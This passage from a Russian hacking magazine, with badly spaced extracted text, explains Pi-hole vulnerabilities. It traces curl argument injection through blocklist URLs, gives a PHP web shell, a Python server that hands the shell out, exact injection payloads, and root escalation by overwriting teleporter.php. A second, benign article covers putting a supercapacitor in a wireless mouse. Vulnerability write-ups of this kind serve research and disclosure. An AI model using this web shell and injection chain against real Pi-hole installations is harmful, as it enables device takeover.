175: gsub(/(.*:\/\/|.*:.*@)/, "", $0)
176: if(length($1)>0){print $1}
177: else {print "local"}
178: }' <<< "$(printf '%s\n' "${sources[@]}")" 2> /dev/null
179: )"
От ладка скрип та gravity.sh. Вызов gravity_GetBlocklistUrls
Теп ерь нас тало вре мя уста новить наст рой ки перед загр узкой спис ков.
Это про исхо дит в gravity_SetDownloadOptions.
gravity.sh
649: if [[ "${haveSourceUrls}" == true ]]; then
650: gravity_SetDownloadOptions
651: fi
gravity.sh
194: gravity_SetDownloadOptions() {
195: local url domain agent cmd_ext str
...
200: for ((i = 0; i < "${#sources[@]}"; i++)); do
201: url="${sources[$i]}"
202: domain="${sourceDomains[$i]}"
И вызов gravity_DownloadBlocklistFromUrl выпол няет непоср едс твен ную
заг рузку.
gravity.sh
217: if [[ "${skipDownload}" == false ]]; then
218: echo ‐e " ${INFO} Target: ${domain} (${url##*/})"
219: gravity_DownloadBlocklistFromUrl "${url}" "${cmd_ext}" "${
agent}"
220: echo ""
221: fi
Сам а загр узка про исхо дит при помощи curl.
gravity.sh
227: gravity_DownloadBlocklistFromUrl() {
228: local url="${1}" cmd_ext="${2}" agent="${3}"
heisenbergCompensator="" patternBuffer str httpCode success=""
...
274: cmd_ext="‐‐resolve $domain:$port:$ip $cmd_ext"
...
277: httpCode=$(curl ‐s ‐L ${cmd_ext} ${heisenbergCompensator} ‐w
"%{http_code}" ‐A "${agent}" "${url}" ‐o "${patternBuffer}" 2> /dev/
null)
Вот тут нужн о остан овитьс я поподр обнее. Пос мотрим на команд у вызова curl.
Если отбро сить все, что нам не очень инте рес но, то она прим ет сле дующий
вид:
curl ${cmd_ext} ${heisenbergCompensator} "${url}" ‐o "${patternBuffer
}"
Мож но заметить, что перемен ные cmd_ext и heisenbergCompensator
не окру жены кавычк ами, поэто му это потенц иаль ное мест о, куда мож но внед‐
рить что‐то. Переменн ая heisenbergCompensator фор миру ется из saveLo‐
cation.
INFO
Вне запн ая культ урн ая отсылка: наша переменн ая
назв ана в честь ком пенсат ора Гей зен берга.
Это вымыш ленное устройс тво, которое неким
обра зом прео дол ева ет прин цип неопр еделен‐
ности. В сери але Star Trek: Deep Space Nine оно
упом инае тся как один из комп онен тов сис темы
телепорт ации.
gravity.sh
234: if [[ ‐r "${saveLocation}" && $url != "file"* ]]; then
...
238: heisenbergCompensator="‐z ${saveLocation}"
239: fi
А saveLocation ини циализ иру ется в функ ции gravity_SetDownloadOptions.
gravity.sh
194: gravity_SetDownloadOptions() {
...
201: url="${sources[$i]}"
202: domain="${sourceDomains[$i]}"
...
205: saveLocation="${piholeDir}/list.${i}.${domain}.${
domainsExtension}"
206: activeDomains[$i]="${saveLocation}"
Как видишь, здесь есть перемен ная, которую мож но конт рол иро вать, — do‐
main. Верн емся в файл savesettings.php, где соз дает ся спи сок доменов.
scripts/pi-hole/php/savesettings.php
722: if(strlen($_POST["newuserlists"]) > 1)
723: {
724: $domains = array_filter(preg_split('/\r\n|[\
r\n]/', $_POST["newuserlists"]));
725: foreach($domains as $domain)
726: {
727: exec("sudo pihole ‐a adlist add ".
escapeshellcmd($domain));
728: }
729: }
Тут нет никакой про вер ки на корр ект ность отправл енног о имен и домена, есть
лишь функ ция escapeshellcmd, которая экран иру ет сим волы в переданн ой
стро ке. То есть потен циаль но мы можем передать в качест ве домена строк у
с про бела ми и допол нительн ыми аргум ен тами для curl.
У curl есть нес коль ко инте ресн ых клю чей, которые мож но экс плу ати ровать.
В нашем случ ае очень кста ти будет ‐o, который позв оля ет весь вывод
записать в файл. Но в команд е уже при сутст вуе т флаг ‐o "${patternBuffer}
". К счастью, curl не испуг ает ся пов торног о флаг а, а при орит ет отдаст тому,
который встре тил ся пер вым. Поэтом у команд а curl ‐o first ‐o second ‐
o third http://ya.ru будет писать в файл строк у first.
Прио рит еты фла га ‐o в curl
Да вай про бежим ся по про цес су добав ления дан ных в блок лист из url.
При пер вом запус ке gravity.sh скрипт про веря ет, сущест ву ет ли файл
с име нем из перемен ной saveLocation. Напр имер, если я добавил http://
ya.ru, то файл будет иметь имя list.0.ya.ru.domains.
Созд ание перемен ной saveLocation при выпол нении скрипт а gravity.sh
Посл е это го отра батыв ает curl и сох раняе т получен ные по этом у URL данн ые
во вре менн ый файл.
++ curl ‐s ‐L ‐w '%{http_code}' ‐A 'Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/70.0.3538.102 Safari/537.36' http://ya.ru ‐o /tmp/tmp.YRfm‐
rUcFcb.phgpb
От ладка gravity.sh. curl сох раняе т содерж имое URL во вре мен ный файл
И если сер вер ответ ил 200 (Ok), то данн ые переда ются в фун кцию gravity_‐
ParseFileIntoDomains.
gravity.sh
277: httpCode=$(curl ‐s ‐L ${cmd_ext} ${heisenbergCompensator} ‐w
"%{http_code}" ‐A "${agent}" "${url}" ‐o "${patternBuffer}" 2> /dev/
null)
...
290: case "${httpCode}" in
291: "200") echo ‐e "${OVER} ${TICK} ${str} Retrieval
successful"; success=true;;
...
307: if [[ "${success}" == true ]]; then
...
313: gravity_ParseFileIntoDomains "${patternBuffer}" "${
saveLocation}"
Здесь имя врем ен ного фай ла измен яет ся на переменн ую saveLocation.
gravity.sh
329: gravity_ParseFileIntoDomains() {
330: local source="${1}" destination="${2}" firstLine abpFilter
...
381: output=$( { mv "${source}" "${destination}"; } 2>&1 )
От ладка gravity.sh. Переи мен ован ие врем енн ого файл а
→Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ДЫРЫ В ДЫРЕ
КАК РАБОТАЮТ УЯЗВИМОСТИ В PI‐HOLE,
КОТОРЫЕ ПОЗВОЛЯЮТ
ЗАХВАТИТЬ RASPBERRY PI
Посл е того как скрипт отра ботал, в директ ории /etc/pinhole появ ляет ся
наш файл.
Файл с содер жимым стран ицы ya.ru посл е выполн ения скрип та gravity.sh
Зап ус тим скрипт gravity.sh еще раз. Теперь, ког да файл сущест вуе т, в curl
будет добавл ен heisenbergCompensator и флаг ‐z.
heisenbergCompensator='‐z /etc/pihole/list.0.ya.ru.domains'
Повт орный запуск gravity.sh исполь зует переменн ую heisenbergCompen‐
sator при фор мирова нии аргум ент ов к curl
В резуль тате вызов curl будет выгл ядеть так:
curl ‐s ‐L ‐z /etc/pihole/list.0.ya.ru.domains ‐w '%{http_code}' ‐A
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' http://ya.ru
‐o /tmp/tmp.EbjhVz4huF.phgpb
Теп ерь нам нуж но сформ ировать кор рек тный пейл оад. Понадоб ит ся серв ер,
который верн ет 200 и код, который мы хотим выпол нить. Сде лаем прост ей‐
ший шелл на PHP.
shell.php
<?php
echo system($_GET["c"]);
И подн имем сер вер, который будет его возв ращ ать в ответ на любой запр ос.
Я буду использ овать http.server.
serv.py
01: import http.server
02: import socketserver
03: import sys
04:
05: class MyHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
06: def do_GET(self):
07: self.path = 'shell.php'
08: return http.server.SimpleHTTPRequestHandler.do_GET(self)
09:
10: handler_object = MyHttpRequestHandler
11: my_server = socketserver.TCPServer(("192.168.99.1", 80),
handler_object)
12: try:
13: print("Server started.")
14: my_server.serve_forever()
15: except KeyboardInterrupt:
16: print("Shutting down...")
17: my_server.socket.close()
18: sys.exit(0)
19:
Прост ой веб‐серв ер на Python, который возв ращ ает шелл
Так же нужн о, что бы curl делал запр ос на сер вер и не учи тывал остальн ые
парамет ры, которые я добав лю для экс плуа тац ии. В этом нам поможет сим‐
вол #.
http://192.168.99.1#
Зат ем ука зыва ем флаг ‐o и имя файл а как параметр.
http://192.168.99.1# ‐o shell.php
Поп робу ем добавить эту стро ку в качест ве URL.
За пуск Gravity с полез ной нагр узкой
Ви дим, что зап рос на сер вер при шел, файл успешно созд ан и содерж ит
полез ную наг рузку. Бла го в Linux имя фай ла — вещь гиб кая и никаких проб‐
лем такая стро ка в качест ве него не созд аст.
Теп ерь пов торный запуск.
Пов торный запуск Gravity с полезн ой наг рузкой в качест ве URL
Наш и аргу мент ы добавл ены, однак о подст ро ка .domains в расш ирении фай‐
ла созд ает пробл емы. Нужн о ее как‐то убрать.
curl ‐s ‐L ‐z /etc/pihole/list.0.192.168.99.1# ‐o shell.php.domains
‐w '%{http_code}' ‐A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/
537.36' 'http://192.168.99.1# ‐o shell.php' ‐o /tmp/tmp.cjh4aohrRE.
phgpb
Шелл был соз дан с допол нительн ым расш ирени ем .domains, которое
необ ходимо убрать
У curl мно жест во фла гов, поэто му есть сраз у неск ольк о вариа нтов, которые
нам могут помочь. Самый прост ой — это добавить еще один флаг ‐z, тогд а .
domains будет использ овать ся как мет ка вре мени. Естест вен но, некорр ек‐
тная, но нам это не важ но.
http://192.168.99.1# ‐o shell.php ‐z
Пер еда дим в качест ве URL этот пейл оад и получим шелл на серв ере.
Загр узка шел ла в Pi‐hole через манипул яции с URL в Gravity
В конс оли все отра батыв ает хорошо, но для добав ления такого пейл оада
в качес тве URL через веб‐форм у нужн о допол нитель но добавить кавычк и.
http://192.168.99.1#" ‐o shell.php ‐z"
Это необх одимо, что бы скрипт pihole рас познал его как один параметр, а не
неск оль ко, в про цес се добавл ения URL они будут удал ены. Посл е того
как эксп ло ит успешно отраб отае т, ты най дешь шелл по адрес у http://pi‐
hole.vh/admin/scripts/pi‐hole/php/shell.php?c=uname%20‐a.
Вып ол нение про изволь ного кода через добавл ение спец иальн о сфор ‐
мирован ного URL в блок лист
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ ДО ROOT
Есл и ты обрат ил вним ание, то из PHP утил ита pihole вызывае тся через sudo.
К сожале нию, юзер www‐data не может исполь зовать sudo без пароля.
Пра вила вызова sudo для поль зовате ля www‐data в Pi‐hole
Но если немн ого пошаритьс я в скрипт ах, можн о найт и функ цию Teleporter,
которая находит ся в файл е webpage.sh.
advanced/Scripts/webpage.sh
540: Teleporter() {
541: local datetimestamp=$(date "+%Y‐%m‐%d_%H‐%M‐%S")
542: php /var/www/html/admin/scripts/pi‐hole/php/teleporter.php >
"pi‐hole‐teleporter_${datetimestamp}.tar.gz"
543: }
...
567: main() {
568: args=("$@")
569:
570: case "${args[1]}" in
...
593: "‐t" | "teleporter" ) Teleporter;;
Эта фун кция вызывае тся из pihole, когд а ука зан флаг ‐a.
pihole
027: webpageFunc() {
028: source "${PI_HOLE_SCRIPT_DIR}/webpage.sh"
029: main "$@"
030: exit 0
031: }
...
443: case "${1}" in
...
463: "‐a" | "admin" ) webpageFunc "$@";;
Вот и лег кий спо соб повысить прив илег ии! С помощью пре дыду щего экс пло‐
ита перезап исыв аем файл teleporter.php, добав ляем в него необх одимые
коман ды и вызывае м его при помощи команд ы sudo ‐a ‐t.
teleporter.php
1: <?php
2: system('id > id.txt');
По выше ние прив иле гий в Pi‐hole до супер польз овате ля
По луав томати ческ ие вер сии эксп ло итов можешь найт и в репозит ории авто ра
уязв имос ти.
ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)
ЗАКЛЮЧЕНИЕ
Нес мотря на серье зность рас смот ренных проб лем, они час то встреч ают ся
даже в крупн ых про ектах. Конечн о, здесь импакт сни жает ся тем, что нуж но
быть авто ризо ван ным польз овател ем, чтоб ы успешно проэ кс плуа тир овать
уяз вимост и, но что‐то мне под сказ ыва ет, что нем ного поресерч ив, можн о
найт и XSS или CSRF, которая поз волит в один клик захв атить сист ему.
Так что если ты исполь зуешь Pi‐hole, то сле ди за обновлен иями и стар ай ся
всегд а работать с посл едней верс ией дист ри бутив а. К сожален ию, авто мати‐
чес кого обновле ния здесь не пре дусм отрен о, но в футере стран ицы есть
панельк а, которая опо вещае т о наличии новых вер сий.
Па нель, которая показыв ает акту аль ность верс ий ком понент ов Pi‐hole
К тому же нес кольк о месяцев назад выш ло крупн ое обновле ние — вер‐
сия 5.0. Возм ожно, там было удел ено боль шее вним ание безопасн ости сис‐
темы. Или нет?
ТРЮКИ
КАК ПРОКАЧАТЬ
МЫШЬ
Candidum
[email protected]
СТАВИМ СУПЕРКОНДЕНСАТОР
В БЕСПРОВОДНУЮ МЫШЬ, ЧТОБЫ
ЗАРЯЖАТЬ ЕЕ ЗА СЕКУНДЫ
Про извод ите ли клав иатур и мышей предл агаю т тысячи
устрой ств на любой вкус, но собр ать комп лект с нуж ными
характ ерис тиками по‐прежн ему непр осто. Впроч ем, если ты
готов взять в руки паяльн ик и твор чески дорабо тать завод‐
ской вариа нт, то тебе открыв ают ся новые возм ожнос ти.
Сегод ня мы опытн ым путем про верим, есть ли смысл
перевод ить мышь на питание от ионис тора вмест о станд ар‐
тных батаре ек.
Совр емен ная бесп ро водн ая мышь — весь ма удоб ная штук а. Еще лет десять
назад они пос тоян но раз ряжались, теряли связь с компью тер ом и стои ли
непр илич но дорого (по сравн ению со сво ими «хвост атыми» соб рать ями).
Но теперь даже такие мыши расс тал ись с больш инс твом сво их дет ских
болячек. Сегодн я в про даже мож но найт и устройс тва с модулем Bluetooth,
которым не тре бует ся отдельн ый ради оприе мник, ком пак тные модели
для поезд ок и даже бес про вод ные гейм ер ские мыши с низ ким вре менем
отклик а.
И все с ними как будт о замеча тельн о, за исключ ение м одно го: незави‐
симо от того, пита ется ли такая мышк а от батарее к или аккум улят ора, их
заряд име ет свойс тво проп адать в самый неподх одящий момент. Конеч но,
батарейк и можн о пост авить новые, а акку муля торы зарядить, но пер вые надо
еще найт и, а вто рые треб уют на под зарядк у какое‐то вре мя.
При чем, даже если выс тавить на источник е питания ток на уров не 2С–3С,
что не очень хорошо для здо ровья акку мулят оров и уве личи вает их износ,
минут 20–30 все же при дет ся подож дать. Поэтом у я на такой слу чай всегд а
дер жу поб лизос ти запасн ой заряжен ный аккум уля тор. Тебе это знак омо? :)
И вот однажды мне на гла за попал ся лежащий без дела ионист ор (он же
супер конденс атор), который ког да‐то был при обре тен без осо бой цели и с
тех пор терп еливо ждал свое го часа. Вопр ос нап рашивалс я сам собой и был
отнюдь не празд ным: а дол го ли прот янет с ним мышь, при услов ии, что сред‐
ний ток пот ребле ния у нее на уров не 5 мА (при напр яжении 3 В)? Забегая
впер ед: дол го и даже очень дол го. Но тольк о при обяз ательн ом усло вии, что
ионист ор будет подоб ран пра вильн о.
Впро чем, обо всем по поряд ку.
INFO
Бес про водн ые мыш ки со встрое нным супер‐
конден сатором сегод ня уже можн о встрет ить
в про даже в ассортим ен те извес тных брен дов.
На фоне решений с питание м от батаре ек
или акку мулят оров они по‐прежн ему сост авляю т
исче зающе малую долю, а высокая цена прочн о
держ ит их в нишевой категор ии «для энту зиас‐
тов». Желаю щие могут почитать обзо ры на такие
устрой ства, как Genius DX‐ECO, Mad Catz Air
и Razer Mamba Hyperflux.
ТЕОРИЯ
Итак, что же пред ставл яет собой ионист ор? По сво им характ ерист икам он
очень похож на кон денсат ор, за исклю чени ем одной важ ной детали: у ионис‐
торов прост о чудовищн о больш ая емкость, от неск ольк их еди ниц до тысяч
фарад. Все дело в том, что ионис тор запасае т энер гию в двой ном элек три‐
чес ком слое, возн ика ющем на повер хност и элект род ов, пог руженн ых в элек‐
тро лит. В резуль тате диэлек трик ом слу жит монос лой молекул рас тво рител я.
Как следс твие, его тол щина может сост авлять поряд ка еди ниц ангстрем,
а это чер товс ки малые величин ы.
Ес ли ты хоть немн ого помн ишь школьн ые уро ки физики, емкость кон‐
денсат ора прям о про пор циональн а площ ади его обкла док и обратно про‐
пор циональн а расс то янию меж ду ними. Таким образ ом, за счет прим ене ния
в ионист орах порист ых матери алов (обыч но — актив иров ан ный уголь) пло‐
щадь повер хност и возр аста ет мно гокр атно. Это и позв оля ет суперк онден‐
саторам запасать огромные зна чения энер гии. Кром е того, у них, как пра‐
вило, низк ие токи утеч ки, что помога ет дер жать заряд знач итель ное вре мя.
Ра зуме ется, у ионист оров есть и недост атки. В перв ую очер едь
это высокая цена, относ ительн о низ кое рабочее напр яжение (порядк а нес‐
коль ких вольт на ячей ку) и сущест венн о мень шая плот ность энерг ии в срав‐
нении с акку муля тора ми. Так что на роль иде альн ого источни ка питания
на все слу чаи жизн и они, увы, не подх одят.
Впро чем, некото рые ухищ рения позв оляю т все же част ично справ итьс я
с перечисл енны ми недост аткам и. Напр имер, при легиро вании ано да литие м
удае тся под нять рабочее нап ряжение до 3,8 В. Такие комп онент ы обыч но
называю т ли тиевы ми конд енсат орам и и отно сят к гибр идном у класс у. Они
име ют неск оль ко клю чевых осо бенн остей, при ятных и не очень. Во‐пер вых,
у лити евых конд енсат оров сущес твенн о мень ший самораз ряд даже на фоне
клас сичес ких ионист оров (не говоря уже об обычн ых конд енса торах). Во‐вто‐
рых, они крайн е чувс твит ельн ы к переразр яду. Как прав ило, в опи сании про‐
изво дитель пред упр ежда ет, что разр яд лити евог о конд енса тора
ниже 2,2 В при водит к дегр адации анод а, потере емкости и сни жению внут‐
ренне го сопр отивл ения ком понент а.
СРАВНЕНИЕ
Те перь давай сравн им нес коль ко источни ков питания, чтоб ы прим ерн о оце‐
нить пер спект ивность всей затеи. Обыч ная компью тер ная мышь, помимо
батаре ек, может питать ся и от переза ряжа емог о NiMH‐аккум уля тора фор‐
мата АА. Именн о с ним мы и будем срав нивать оба ионист ора — больш ой,
раз мерами прим ерн о с батарей ку D и заявл енным и харак терист иками
на уров не 500 Ф и 2,7 В, а такж е малень кий лити евый, емкостью на 100 Ф
и напр яжени ем 3,8 В. Сам NiMH‐аккум улят ор станд ар тног о нап‐
ряжения 1,4 В и сред ней емкости, рас счит ан на 1500 мА ⋅ ч.
Важ ный момент: сравн ивать их меж ду собой в лоб не получит ся, так
как разр яд аккум улят ора опи сывае тся урав нение м Нернс та. Собс твен но,
этим урав нение м опи сываю тся все химичес кие источни ки питания.
Как следс твие, граф ик раз ряда аккум улят ора имее т плат о по цен тру и рез кий
спад в кон це, а его емкость измер яет ся в ампер‐часах и расс чит ыва ется
как пло щадь под плат о на гра фике. Конд енсат ор, в свою очер едь, разр яжа‐
ется по экспо нент е (при усло вии, что сопр отив ление наг рузки пос тоян но),
и его емкость измер яет ся в фарадах.
Впро чем, выход есть: прид ет ся сравн ивать запасен ную энер гию в джо‐
улях. Итак, для кон денса тора (или ионис тора):
E = (C × U2) ÷ 2
Здесь C — емкость в фарадах, а U — нап ряжение в воль тах. Для аккум уля‐
тора:
E = 3600 × Q × U
Здесь Q — емкость в ампер‐часах, а U — средн ее нап ряжение. Для NiMH‐
аккум уля тора напр яжение на пол ностью заряжен ном элем ен те сос тавляе т
прим ер но 1,4 В, а для разр яженн ого — окол о 0,9 В. Одна ко, так как падение
нап ряжения при разр ядке нелиней но, возьм ем сред нее на уров не 1,1 В (все
рав но это прибл изитель ные расч еты).
Теп ерь у нас получаю тся такие зна чения: 5940 Дж для аккум улят ора,
1822 Дж для больш ого ионист ора и 722 Дж для маленьк ого. Выг лядит неп‐
лохо, осо бен но учит ывая, что пос ледний по раз меру при мерн о как акку муля‐
тор. Но тут есть один нюанс: если в случ ае аккум уля тора это та энер гия,
которую мы из него смо жем взять, то с ионист орами чуть хит рее.
Как я уже упо минал, лити евый ионис тор нель зя разр яжать
ниже 2,2 В (забегая впер ед, скаж у, что мы так же не будем заряжать его
выше 3,3 В). Это дает нам в итог е 302 Дж на один цикл. С больш им ионис‐
тором друг ая шту ка — он плох о дер жит заряд выше 2,2 В, особ енн о при быс‐
тром заряде, на который мы целим ся. Разр ядить его с поль зой
ниже 0,5 В тоже не выйд ет (из‐за чис то тех ническ их огран иче ний). Впро чем,
посл еднее не вно сит замет ной потери, так что здесь мы имее м окол о 542 Дж.
Тут уже непл охо вид но преи му щест во лити евог о конд енсат ора. Все же
сто ит учит ывать, что он по раз меру раз в семь мень ше сво его ана лога. Впро‐
чем, на мой вкус, преи му щест во не нас тольк о велико, как его опи сываю т
в рек ламных статья х. И не сто ит забывать о раз нице в цене — такие ионис‐
торы дос таточн о дорогие.
С учет ом всех замечан ий в итог е получа ем такие зна чения: те же 5940 Дж
для акку мулят ора, при мерн о 542 Дж в больш ом ионис торе на 500 Ф и 302 Дж
в его младш ем соб рате на 100 Ф. Уже не так оптим ист ично. Хорошо, а на
сколь ко это го хват ит компью терн ой мыши?
Совр еменн ая недоро гая бес пров од ная мышь пот ребляе т прим ерн о 4 мА
в активном режиме и зна чительн о меньш е в режиме ожи дания. Для прост оты
будем счи тать, что гры зун у нас всегд а в активном сос тоянии и нап ряжение
питания у него 3 В. Это дает нам 43 Дж/ч.
Так им обра зом, в пер вом прибл ижении от больш ого ионист ора мышь дол‐
жна про рабо тать две надц ать часов, а от маленьк ого порядк а семи часов.
Конеч но, эти рас четы лишь прибл изитель ные, но они позв оляю т оце нить
общую перс пект ивность идеи. И на самом деле она весь ма неп лоха, если
учесть, что больш ой супер конденс атор можн о зарядить секунд за трид цать,
а маленьк ий и того быс трее. Таким обра зом, в теории наш манипул ятор смо‐
жет запас ти дост аточн о энер гии на весь рабочий день все го лишь за врем я
загр узки ОС.
Литиевые конденсаторы
Так ие кон денса торы сто ят силь но дороже даже клас сичес ких ионис торов,
и про дают их заряжен ными. Поэтом у, если надума ешь рас кошелить ся, обра‐
ти вни мание, что бы напр яжение на нем было выше 2,2 В, а сам конд енса тор
обяз ательн о был не вздут ый. Здесь я хочу поб лагода рить Faberge, который
пред ост авил лити евый кон денса тор VLCRS3R8107MG на 100 Ф для моего
про екта.
С этим конд енса тором была целая исто рия. Его заказа ли в одном извес‐
тном магазин е, прич ем извест ном не в посл еднюю оче редь свои ми высоким и
ценами. Перв ый же кон денса тор, который отту да присл али, оказ алс я взду тым
и раз ряжен ным. Впро чем, в ответ на прет ен зию магазин опе ратив но и без
лиш них возр ажений выс лал замену. А мне таким обра зом удал ось сравн ить
меж ду собой брак ованн ый и рабочий экзем пляр ы.
Выя сни лось, что вздут ый раз ряжен ный конд енса тор сильн о потерял
в качест ве и по самораз ряду стал напомин ать класс ичес кие ионист оры (PDF),
которые легк о заказать в Китае. Осо бых нюанс ов тут нет, раз ве что качес тво
раз на раз не при ходит ся. Впроч ем, неск оль ко цик лов заряд‐раз ряд и дли‐
тель ный заряд идут им на поль зу.
АНАТОМИЯ ГРЫЗУНОВ
Как прав ило, в осно ве типич ной бесп ро вод ной мыши лежит спец иализ иро‐
ванн ая мик росхем а, которая сама по себе реализ ует 99% фун кций устрой‐
ства. В нее вхо дит и сам сенс ор, и схе мы управле ния подс вет кой, и модуль
обраб от ки сиг нала от сенс ора, и даже ради опе редат чик. На такие конт рол‐
леры откро венн о китай ског о шир потре ба бывае т проб лематичн о най ти
даташит, но нас в дан ном слу чае интер есу ет тольк о питание.
К нашей больш ой радос ти конт рол леры межд у собой пол ностью сов‐
мести мы и треб уют напр яжение в диапаз оне от 2,1 до 3,6 В. В подт вержде‐
ние этих слов ты можешь загл януть в даташит PAW3702 (PDF), на которой
собр ана самая прил ичн ая из рас куроченн ых мной мышей.
INFO
Схе мотех ника устройс тв клас сом и ценой повыше
может замет но отли чать ся. В них нередк о при‐
меня ется отдельн ый микр оконт ролл ер, который
поз воля ет управлять кучей парамет ров, заг‐
ружать наст рой ки непос редст венн о в мышь и соз‐
давать цепоч ки из макр осов на все слу чаи жизн и.
Обыкн овенн о мыши пита ются от одной или двух батарее к AA (или ААА).
Это прив одит нас к очев идн ому выводу: если батарейк и две, то они подк лю‐
чают ся к кон трол леру нап рямую (ста билиз атор не став ят в том чис ле из сооб‐
ражений эко номии), а если батарей ка одна, то межд у ней и кон трол лером
устан ов лен step‐up DC/DC‐прео браз ова тель, вро де того, который я исполь‐
зовал в эмул ято ре мыши, — ME2108. Найт и его на пла те совс ем нес ложно,
чаще всег о это трехл апая микр осхе ма рядом с дрос селем.
А что в этом слу чае будем делать мы? А мы будем делать так же! :)
Здоровое питание
Иным и сло вами, если у нас в мыша имплан тируе тся лити евый ионис тор, то
его будем под клю чать нап рямую к конт рол леру. При этом уда ляем повыша‐
ющий прео бра зоват ель, отпа ивая микр осхе му и дрос сель и соедин яя
перемычк ой питание с кон трол лером. Он как раз даст нам диапа зон нап‐
ряжений как в даташит е.
А когд а использ ует ся ионис тор поп роще с макс ималь ным нап ряжени‐
ем 2,7 В, то его выход мы будем повышать с помощью упо мяну того выше пре‐
образ ова теля. Если же его в мыши изна чальн о не было, то его при дет ся туда
добавить. Благ о они сос тоят бук валь но из неск оль ких деталей и даже про‐
дают ся в виде готовых модулей за сущие копей ки. Врод е бы всё… Хотя нет,
сто ит еще погово рить о защите от перераз ряда.
На всяк ий слу чай еще раз повт орю, что лити евые ионист оры не рекомен‐
дует ся разр яжать ниже 2,2 В. Да, ты это навер няка уже запомн ил, но, поверь,
эти штук и сто ят недеше во, и обращ атьс я с ними след ует акку рат но. Поэто му
нам будет необх одимо устрой ство, которое смо жет отключ ать нагр узку
от ионист ора при дос тижении порого вого зна чения. Подобн ые устрой ства
широко прим еняю тся для защиты лити евых акку мулят оров от переразр яда,
отлич ие нашего вариа нта сост оит в мень шем нап ряжении сра баты вания.
Схем а устройс тва предс тавл ена на рисунк е ниже.
В целом все здесь эле мен тарно, и пояс нения тут треб ует разв е что кноп ка,
которая нуж на для вклю чения устройс тва. Дост аточн о ее один раз нажать,
и мышь будет работать до тех пор, пока напр яжение на ионист оре не упа дет
ниже 2,2–2,3 В, что зачас тую про исход ит скач кооб разно. Зна чение порого‐
вого напр яжения задае тся све тоди одом и резист орами R2 и R3.
Све тодио д тут выпол няет одновре мен но функ цию стаб илит рона (красн ый
свет одио д дает око ло 1,7 В падения напр яжения) и индик ато ра вклю чения,
но све тит ся он не бод ро. Точн о подст раи вать напр яжение сраб атыв ания
удобн о, меняя номинал R2. В качест ве клю ча использ ован до безоб разия
дешевый полевик AO3400, что помога ет свест и падение нап ряжения
на устрой стве практ ическ и к нулю. Однак о сойд ет и любой дру гой N‐каналь‐
ный полевик, спо соб ный открытьс я от нап ряжения поряд ка 2 В. Биполяр ный
тран зистор может быть любой, хоть КТ361.
Во вклю ченн ом сост оянии устройс тво пот ребляе т мень ше 100 мкА, а в
вык лючен ном пот ребле ние и вовс е пре небр ежимо мало.
КОРПУС И КОНСТРУКТИВ
Прист упим к сборк е готово го устрой ства. А для это го нам пот ребу ется донор.
Нулевой пациент
Перв ой мне под руку попалась заезж енная и мног о повидав шая на свое м
веку мышь Perfeo PF‐353‐WOP. На ней я и опроб овал идею, встрои в в эту
мышь самый боль шой ионист ор. А для того, что бы пол ностью использ овать
заряд, я помес тил в нее повыша ющий модуль на ME2108‐33. Модуль взял
в этот раз готовый. Одна незада ча — ионист ор был великов ат. Впро чем,
с этой проб лемой мне отчасти помог лоб зик.
Мо дуль повыша юще го пре обра зова теля здор ово встал на мес то разъе ма
под клю чения батарейк и.
Как лег ко понять из фотогр афий, ионист ор заменил собой купиров анн ую зад‐
нюю часть и кре пил ся при помощи супер клея. Поск ольк у сам кор пус мыши я
под пиливал сно ва и сно ва, то получил ось непл охо подогн ать его, и держ ится
он нор мальн о. Обра ти вни мание, что, несм отря на вульг арн ую прост оту конс‐
трукц ии сов ремен ных дешевых мышей, оптич еск ий узел (лин за, диод и дат‐
чик) дол жны быть дос таточн о точн о споз ицио нир ован ы. Инач е рез во бегать,
как прежд е, мышь уже не будет.
За ряд ка тоже сурова: к выводам ионис тора я цеп ляю воль тметр и, конт ро‐
лируя напр яжение, подаю 3,3 В от компью терн ого блок а питания с помощью
«кро коди лов». Зарядн ый ток при этом сос тавляе т поряд ка 6 А. Что еще мож но
о ней ска зать? Мышь работа ет, одно го заряда хва тает на пери од от двух
до четырех дней, в зависим ост и от интенсив ности использ ования.
→Продолжение статьи
ТРЮКИ ← НАЧАЛО СТАТЬИ
КАК ПРОКАЧАТЬ
МЫШЬ
СТАВИМ СУПЕРКОНДЕНСАТОР
В БЕСПРОВОДНУЮ МЫШЬ, ЧТОБЫ
ЗАРЯЖАТЬ ЕЕ ЗА СЕКУНДЫ
Первый пошел
За осно ву след ующей итер ации была взя та мышь Oklick 6055W. К моему удив‐
лению, ее уменьш ен ный разм ер совер шенно не помешал встрои ть в нее вто‐
рой ионис тор.
Акк урат но сре заем батарей ный отсек, сох раняя кре пеж крыш ки. Для деликат‐
ной резк и плас тика можн о исполь зовать нож, руч ной лобз ик или нит ку. При‐
менять тут раск аленн ый нож и паяль ник не рекоменд ую: уж очень мног о вони
будет, да и паяльн ик жал ко.
Дал ее встра иваем разъе м для зарядк и ионис тора. Тут мне пришл ось
поломать голову, где взять разъ ем минималь ного раз мера, чтоб ы он
одноврем ен но выдер живал ток в нес коль ко ампер, поз волял под цеплятьс я
воль тмет ром, да еще вмест о ответной част и под держив ал какой попало сур‐
рогат. Как ока залось, всем этим тре бован иям удов летво ряет цанг овый разъ‐
ем, что исполь зует ся в панельк ах для DIP‐микр осхем. Он и малень кий, и, счи‐
тай, цельн ометал личес кий.
Ус танав ливае м его в крышк у батарей ного отсе ка и фик сиру ем кап лей
суперк лея. Надо сказ ать, что если проп ил сде лан точ но, то он и без клея
сидит как влит ой.
Так же необ ходимо прос верлить отверс тие 3,5 мм под SMD‐кноп ку, вклю‐
чающую конт рол лер раз ряда ионист ора. Сама так товая кноп ка тоже фикс иру‐
ется суперк ле ем.
Теп ерь врем я занятьс я плат ой мыши: мы демон тиру ем дрос сель и мик‐
росхе му DC/DC‐прео бра зова теля и вмест о них запаи ваем перемычк у,
соеди няющую элем ент питания с кон трол лером. Далее надо изго товить кон‐
трол лер разр яда — по сущес тву, слишк ом гром кое наз вание для схе мы
из восьм и деталей.
